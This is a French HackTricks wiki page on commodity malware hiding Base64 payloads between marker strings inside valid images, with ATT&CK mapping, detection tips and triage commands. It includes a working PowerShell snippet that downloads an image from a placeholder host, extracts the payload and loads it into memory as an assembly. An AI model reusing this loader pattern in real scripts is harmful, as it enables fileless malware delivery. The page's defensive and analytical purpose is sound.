Malware & Network Stego
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
La steganography ne se limite pas au pixel LSB ; le commodity malware cache souvent des payloads dans des fichiers par ailleurs valides.
Schémas pratiques
Payloads délimités par marqueurs dans des images valides
Si une image est téléchargée et immédiatement analysée comme texte/Base64 par un script, le payload est souvent délimité par des marqueurs plutôt que pixel-hidden.
Les commodity loaders cachent de plus en plus des Base64 payloads en clair à l’intérieur d’images par ailleurs valides (souvent GIF/PNG). Au lieu du pixel-level LSB, le payload est délimité par des marker strings uniques intégrées dans le file text/metadata. Un stager va alors :
- Télécharge l’image via HTTP(S)
- Localise les marqueurs de début/fin
- Extrait le texte entre les marqueurs et le décode en Base64
- Charge/exécute en mémoire
Extrait PowerShell minimal de carving:
$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}
Remarques :
- ATT&CK: T1027.003 (steganography)
- Détection/hunting :
- Scannez les images téléchargées à la recherche de séquences délimiteurs.
- Signalez les scripts qui récupèrent des images et appellent immédiatement des routines de décodage Base64 (PowerShell
FromBase64String, JSatob, etc). - Cherchez des incohérences de content-type HTTP (
image/*response mais le body contient de longues chaînes ASCII/Base64).
Autres emplacements à fort signal pour masquer des payloads
Ceux-ci sont généralement plus rapides à vérifier que le stego au niveau du contenu/pixels :
- Métadonnées : EXIF/XMP/IPTC, PNG
tEXt/iTXt/zTXt, JPEGCOM/APPnsegments. - Octets traînants : données ajoutées après le marqueur de fin formel (p.ex., après PNG
IEND). - Archives embarquées : un ZIP/7z intégré ou ajouté et extrait par le loader.
- Polyglots : fichiers conçus pour être valides par plusieurs parseurs (p.ex., image + script + archive).
Commandes de triage
file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample
Références:
- Unit 42 example: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
- File format polyglots and container tricks: https://github.com/corkami/docs
- Aperi’Solve (web-based stego triage): https://aperisolve.com/
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

